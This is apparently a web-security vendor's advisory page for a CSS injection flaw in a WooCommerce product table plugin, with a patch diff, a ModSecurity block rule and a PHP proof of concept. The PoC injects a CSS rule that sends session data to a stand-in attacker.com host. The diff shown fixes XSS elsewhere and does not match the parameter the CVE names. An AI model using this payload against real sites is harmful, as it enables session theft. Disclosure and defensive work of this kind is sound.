 define('WCPT_PLUGIN_PATH', plugin_dir_path(__FILE__));
 define('WCPT_PLUGIN_URL', plugin_dir_url(__FILE__));
 define('WCPT_TEXT_DOMAIN', 'wc-product-table-pro');
@@ -1142,9 +1142,9 @@
           'disableUrlUpdate' => true,
           'autoScroll' => ['laptop', 'tablet', 'phone'],
           'dynamicFilterTypes' => ['category', 'attribute', 'favorite', 'onSale', 'availability'],
-          'paginationShowPrevNextIcons' => false,
+          'paginationShowPrevNextIcons' => true,
           'paginationShowFirstLastIcons' => true,
-          'paginationShowFirstLastNumbers' => false,
+          'paginationShowFirstLastNumbers' => true,
         ),
         'style' => array(
           'css' => '',
@@ -1566,7 +1566,9 @@
   wp_enqueue_script('wcpt-element-editor', plugin_dir_url(__FILE__) . 'editor/partials/element-editor/element-editor.js', array('jquery', 'wcpt-dominator'), WCPT_VERSION, true);

   // -- controller
-  wp_enqueue_script('wcpt-controller', plugin_dir_url(__FILE__) . 'editor/assets/js/controller.js', array('jquery', 'wcpt-dominator', 'wcpt-element-editor'), WCPT_VERSION, true);
+  // TEMP: use file mtime as the version so edits bust the browser cache while debugging.
+  $wcpt_controller_ver = @filemtime(plugin_dir_path(__FILE__) . 'editor/assets/js/controller.js') ?: WCPT_VERSION;
+  wp_enqueue_script('wcpt-controller', plugin_dir_url(__FILE__) . 'editor/assets/js/controller.js', array('jquery', 'wcpt-dominator', 'wcpt-element-editor'), $wcpt_controller_ver, true);

   // -- version
   wp_add_inline_script('wcpt-controller', 'var wcpt_version = "' . WCPT_VERSION . '";', 'after');
@@ -2786,6 +2788,14 @@
     }
   }

+  // WowAddons (Product Addons by WPXPO)
+  // Load frontend (+ wowdate) on table pages so date/time pickers bind on
+  // DOMContentLoaded. AJAX-injected copies alone miss that event and never init.
+  if (defined('PRAD_VER')) {
+    do_action('prad_enqueue_block_css');
+    do_action('prad_enqueue_block_js');
+  }
+
 }

 /**
--- a/wc-product-table-lite/templates/pagination.php
+++ b/wc-product-table-lite/templates/pagination.php
@@ -9,9 +9,9 @@
 $sc_attrs = empty($table_data['query']['sc_attrs']) ? array() : $table_data['query']['sc_attrs'];

 // Pagination controls toggles.
-$show_prev_next_icons = isset($sc_attrs['pagination_show_prev_next_icons']) ? wc_string_to_bool($sc_attrs['pagination_show_prev_next_icons']) : false;
+$show_prev_next_icons = isset($sc_attrs['pagination_show_prev_next_icons']) ? wc_string_to_bool($sc_attrs['pagination_show_prev_next_icons']) : true;
 $show_first_last_icons = isset($sc_attrs['pagination_show_first_last_icons']) ? wc_string_to_bool($sc_attrs['pagination_show_first_last_icons']) : true;
-$show_first_last_numbers = isset($sc_attrs['pagination_show_first_last_numbers']) ? wc_string_to_bool($sc_attrs['pagination_show_first_last_numbers']) : false;
+$show_first_last_numbers = isset($sc_attrs['pagination_show_first_last_numbers']) ? wc_string_to_bool($sc_attrs['pagination_show_first_last_numbers']) : true;

 ?>
 <div class="wcpt-pagination <?php if ($total_pages <= 1)
--- a/wc-product-table-lite/templates/results_per_page.php
+++ b/wc-product-table-lite/templates/results_per_page.php
@@ -16,7 +16,7 @@

 // current max posts_per_page limit
 if (!empty($_GET[$field_name_results_per_page])) {
-	$limit = &$_GET[$field_name_results_per_page];
+	$limit = $_GET[$field_name_results_per_page];

 } else {
 	if ($default_params) {
@@ -31,6 +31,11 @@

 }

+// results-per-page is always an integer count (with -1 meaning "show all"). Cast
+// it once here so the visitor-supplied value can never carry markup into the
+// output, and so it stays type-safe everywhere it is printed downstream.
+$limit = (int) $limit;
+
 // create a new dropdown option to accomodate limit if required
 $new_op_required = true;
 foreach ($dropdown_options as $option) {
@@ -78,7 +83,8 @@
 if (!$heading = wcpt_parse_2($heading)) {
 	$container_html_class .= ' wcpt-no-heading wcpt-filter-open';
 } else {
-	$heading = str_replace('[limit]', $limit, $heading);
+	// $limit is an int (cast on read), so it is safe to substitute directly.
+	$heading = str_replace('[limit]', (int) $limit, $heading);
 }

 // filter open in sidebar
@@ -91,7 +97,7 @@
 }

 ?>
-<div class="<?php echo $container_html_class; ?>" data-wcpt-filter="results_per_page"
+<div class="<?php echo esc_attr($container_html_class); ?>" data-wcpt-filter="results_per_page"
 	data-wcpt-heading_format__op_selected="only_selected">

 	<?php
@@ -99,7 +105,7 @@
 	?>

 	<!-- options menu -->
-	<div class="<?php echo $options_container_html_class; ?>">
+	<div class="<?php echo esc_attr($options_container_html_class); ?>">
 		<?php
 		$selected_label = '';
 		foreach ($dropdown_options as $option_index => $option) {
@@ -120,11 +126,11 @@
 			}

 			?>
-			<div class="<?php echo $single_option_container_html_class; ?>">
+			<div class="<?php echo esc_attr($single_option_container_html_class); ?>">
 				<label class="<?php echo $checked ? "wcpt-active" : ""; ?>">
-					<input type="radio" name="<?php echo $field_name_results_per_page; ?>" <?php echo $checked; ?>
-						value="<?php echo $option['results']; ?>"
-						class="wcpt-filter-radio"><span><?php echo $option['label']; ?></span>
+					<input type="radio" name="<?php echo esc_attr($field_name_results_per_page); ?>" <?php echo $checked; ?>
+						value="<?php echo (int) $option['results']; ?>"
+						class="wcpt-filter-radio"><span><?php echo esc_html($option['label']); ?></span>
 				</label>
 			</div>
 			<?php
@@ -139,9 +145,9 @@

 	<div class="wcpt-filter-heading">
 		<!-- label -->
-		<span class="<?php echo $heading_html_class; ?>">
+		<span class="<?php echo esc_attr($heading_html_class); ?>">
 			<span>
-				<?php echo $heading ? $heading : $selected_label; ?>
+				<?php echo $heading ? $heading : esc_html($selected_label); ?>
 			</span>
 		</span>
 		<!-- icon -->
--- a/wc-product-table-lite/templates/sort_by.php
+++ b/wc-product-table-lite/templates/sort_by.php
@@ -191,6 +191,18 @@
 } else {

   $orderby = $_GET[$field_name_orderby];
+  // $orderby is a controlled token: 'column_<id>', 'option_<n>', a numeric index,
+  // or 'relevance'. The '<id>' segment (e.g. an "attribute_<slug>" column-sort id)
+  // reaches label building, the attribute lookup and the stored user filter, so
+  // strip anything that isn't a slug character (letters, digits, underscore,
+  // hyphen). This stops a crafted value such as "column_attribute_<img ...>" from
+  // injecting markup (reflected XSS) while preserving legitimate (incl. non-ASCII)
+  // attribute slugs.
+  $orderby_clean = preg_replace('/[^p{L}p{N}_-]/u', '', (string) $orderby);
+  $orderby = is_string($orderby_clean)
+    ? $orderby_clean
+    : preg_replace('/[^A-Za-z0-9_-]/', '', (string) $orderby);
+
   //-- -- column sort (column_{index} or column_heading + explicit criteria)
   if (substr($orderby, 0, 7) == 'column_') {

@@ -385,7 +397,7 @@
 }

 ?>
-<div class="<?php echo $container_html_class; ?>" data-wcpt-filter="sort_by" <?php
+<div class="<?php echo esc_attr($container_html_class); ?>" data-wcpt-filter="sort_by" <?php
    if (
      $position == 'header' &&
      $display_type == 'dropdown'
@@ -396,7 +408,7 @@
   ?>

   <!-- options menu -->
-  <div class="<?php echo $options_container_html_class; ?>">
+  <div class="<?php echo esc_attr($options_container_html_class); ?>">
     <?php
     $selected_label = '';
     foreach ($dropdown_options as $option_index => $option) {
@@ -413,11 +425,11 @@
       $value = $option['orderby'] == 'relevance' ? 'relevance' : 'option_' . $option_index;

       ?>
-      <div class="<?php echo $single_option_container_html_class; ?>">
-        <label class="<?php echo $active . (($default_index === $option_index) ? ' wcpt-default-option' : ''); ?>">
-          <input type="radio" name="<?php echo $field_name_orderby; ?>" <?php echo $checked; ?>
-            value="<?php echo $value; ?>" class="wcpt-filter-radio"><span>
-            <?php echo $option['label']; ?>
+      <div class="<?php echo esc_attr($single_option_container_html_class); ?>">
+        <label class="<?php echo esc_attr($active . (($default_index === $option_index) ? ' wcpt-default-option' : '')); ?>">
+          <input type="radio" name="<?php echo esc_attr($field_name_orderby); ?>" <?php echo $checked; ?>
+            value="<?php echo esc_attr($value); ?>" class="wcpt-filter-radio"><span>
+            <?php echo esc_html($option['label']); ?>
           </span>
         </label>
       </div>
@@ -437,13 +449,13 @@
       <?php wcpt_icon('arrows-up-down'); ?>
     <?php endif; ?>
     <!-- label -->
-    <span class="<?php echo $heading_html_class; ?>">
+    <span class="<?php echo esc_attr($heading_html_class); ?>">
       <!-- icon -->
       <?php if (!empty($enable_icon) && $position !== 'header'): ?>
         <?php wcpt_icon('arrows-up-down'); ?>
       <?php endif; ?>
       <span>
-        <?php echo $display_type == 'dropdown' && $position == 'header' ? $selected_label : $heading; ?>
+        <?php echo $display_type == 'dropdown' && $position == 'header' ? esc_html($selected_label) : $heading; ?>
       </span>
     </span>
     <!-- icon -->

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-15441
# This rule blocks unauthenticated access to the wcpt_ajax action when it contains the vulnerable 'laptop_scroll_offset' parameter.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" "id:20261941,phase:2,deny,status:403,chain,msg:'CVE-2026-15441 - Unauthenticated CSS Injection via wcpt_ajax',severity:'CRITICAL',tag:'CVE-2026-15441'"
  SecRule ARGS_POST:action "@streq wcpt_ajax" "chain"
    SecRule ARGS_POST:data "@rx laptop_scroll_offset[^}]*}[^}]*[{};:]" "t:urlDecode,t:compressWhitespace"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-15441 - Product Table & List Builder For WooCommerce <= 5.6.0 - Unauthenticated CSS Injection

$target_url = 'http://target-site.com'; // Change this to the target site's URL

// WordPress AJAX endpoint for unauthenticated actions
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

// The payload is injected into the 'laptop_scroll_offset' parameter.
// The value breaks out of the CSS property 'top' and injects an exfiltration rule.
$payload = '0;}body#wpwrap{background-image:url(https://attacker.com/exfil?data=' . $wp_SESSION_IDENTIFIER_PLACEHOLDER . ');}/*';

// JSON-encoded attributes for the wcpt_ajax handler
$data = json_encode([
    'laptop_scroll_offset' => $payload,
    'device' => 'laptop',
    'table_id' => '1'
]);

// Initialize cURL session
$ch = curl_init();

// Set cURL options
curl_setopt_array($ch, [
    CURLOPT_URL => $ajax_url,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query([
        'action' => 'wcpt_ajax',
        'data' => $data // The 'data' parameter is JSON-decoded by the server
    ]),
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_SSL_VERIFYPEER => false
]);

// Execute the request
$response = curl_exec($ch);

// Check for errors
if (curl_errno($ch)) {
    echo 'cURL error: ' . curl_error($ch) . "n";
} else {
    echo "HTTP request sent successfully.n";
    echo "Response: " . $response . "n";
}

// Close cURL session
curl_close($ch);
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.